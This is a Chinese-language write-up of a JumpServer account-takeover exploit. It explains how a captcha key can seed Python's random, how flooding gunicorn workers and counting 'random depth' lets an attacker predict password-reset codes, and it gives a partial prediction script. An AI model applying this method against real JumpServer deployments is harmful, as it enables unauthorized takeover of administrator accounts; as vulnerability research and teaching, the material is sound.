最近edwardz(彭博)提交了个jumpserver的未授权rce,可以说是非常精彩,复现下来后发现确实是一个很经典的伪随机例子,这也是我一直想写但是找不出合适例子做教学的一套组合拳,现在正好借这个漏洞来写一写。
在讲具体漏洞之前,我们先要了解一下伪随机数的概念。什么是伪随机数呢?在C语言或者其他类似语言里,经常会看到类似的代码:
这里其实就是基础的随机数的使用,一般是先播种,然后在使用rand来获取随机数。当然你不播种会使用默认的种子,不同的语言不通版本种子可能不一样。
那这种rand出来的随机数,就是伪随机数,因为只要种子固定那么每次生成的随机数序列就会一样。比如python的
可以看到,两次播一样的种子,产生的序列是一样的。
前面讲的都是大家都知道的基础知识,那么后面要讲两个隐藏的细节,这个细节是隐藏的听起来很理所当然但是很多时候你并不敏感:
在播种后会重置序列
random.seed()进行播种时并没有产生新的对象,像是凭空播种就会对后面的random产生影响,那么推断播种后种子对播种时的整个进程生效
PS:另外这边再定义一个概念叫做随机深度,后面就是指一个随机数需要一个固定种子随机多少次才能获得的这个随机次数
好了以上的前置知识讲完了,我们开始进入漏洞的讲解
先看找回密码的代码段
这里的create对应到的就是jumpserver里密码找回的验证码的地方,那个code就是找回密码发邮件的那个code,可以看到是通过random_string这个函数产生的6位code。
进入random_string可以看到这里使用了random.choice,你也可以直接理解为使用了random产生了一次随机数,本质上是一样的。那么这个代码里有什么问题呢?
乍一看没问题,但是根据前面说的,是不是少一个seed的环节呢?
那么这个seed是多少呢?百度一下
默认系统时间,这个就很复杂了,如果你在一个完全黑盒的情况下,想知道这个python程序用的是哪个系统时间产生的序列基本就是不可能。那么这是不是无解了呢?
彭博厉害就厉害在他提供了第二个点,也就是说,如果我们可以自己设置种子或者推断出种子的话,是不是就有可能预测了呢?那么怎么做?
答案就在验证码模块里,我们直接进入验证码模块
就是这个找回密码的验证码,他使用的是Django的验证码模块 django-simple-captcha,去github找代码
https://github.dev/mbi/django-simple-captcha/blob/master/captcha/locale/sk/LC\_MESSAGES/django.mo
可以看到这个验证码模块里有个设置random.seed的函数!!那么是否可以通过他来设置seed呢?肯定可以,可以看到这个key是外面传进来的,进入到url.py里看
那么我们再来看图片验证码的请求
这个标红的就是那个key,这样是不是就对上了?也就是说我们可以把seed设置为这一串字符串!
再来回顾一下开头说的知识点:random.seed()设置种子会作用于整个进程 也就是说,我们通过获取验证码的请求来设置随机数种子,那如果后续找回密码的请求也经过我们这个进程,是不是就会使用我们设置的种子来产生随机数?猜测基本是对的,那么后面就按照这个思路来构建实验!
我们先捋一捋步骤:
通过验证码请求来设置种子
触发找回密码流程
通过种子来预测code,然后和找回密码的code做比对,如果相同则实验成功
也就是说我先发送
设置了种子为6253b8d89f84831f42d3bb9840502c4b73488d43
然后触发找回密码流程
然后进行比对,这里比对的话我们可以先简单的构建代码直接把random_string整个抄过来
# -*- coding: utf-8 -*-
#
import struct
import random
import socket
import string
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
def random_datetime(date_start, date_end):
random_delta = (date_end - date_start) * random.random()
return date_start + random_delta
def random_ip():
return socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break
password = ''.join(password)
return password
if __name__ == "__main__":
key = "6253b8d89f84831f42d3bb9840502c4b73488d43"
code = '123456'
random.seed(key)
for deep in range(0,10000):
if random_string(6,false,false) == code:
print("find")
print(deep)
print("finish")
大概的验证代码就写好了,接下来就是验证的时刻了。这里我直接报答案吧,很显然是不行的,为什么呢?
随着我深入的了解,发现有几个主要的问题需要解决:
jumpserver里使用了gunicorn,开机就有七八个进程在接收请求,如何使我的种子进程和找回密码的进程匹配呢
随机深度到底是多少呢?
先来看多进程的问题,jumpserver里使用了gunicorn来接收请求
那么我们如何怎么知道找回密码的请求到底是哪个进程来处理呢?
这里有两个思路:
找到gunicorn的一个crash点,使用少量请求把gunicorn进程全部打重启,当我们监听jumpserver的api时监听到从502恢复到200,就说明进程重置了,这个重置的过程中我们使用少量的验证码请求可以使得所有的gunicorn进程的种子被覆盖成我们想要的
使用大量的验证码请求,直到覆盖掉所有的gunicorn进程
这里我使用的是第二种方法,也就是批量发送上千个验证码请求。
这样发送几千个后,基本上能把所有的进程给覆盖掉,然后我们再进入找回阶段进行code的比对实验就可以了。
第二个问题主要是随机深度到底是多少的问题,我们可以仔细看一看验证码代码
比如这里是渲染验证码图片的噪点,那么仔细一看这里就有好几百个随机次数,再加上jumpserver里的随机,那么这个随机范围至少也是大几百到大几千,到底是几呢?
这里直接用多次黑盒来统计,我这边多次尝试后范围大致在10xx
那么结论就呼之欲出了
当然还有一些细节我没有明说,实际在写的时候还会遇到一些问题,不过我认为写到这里,几个重要的卡点已经说明了,那么剩下的就靠自己拉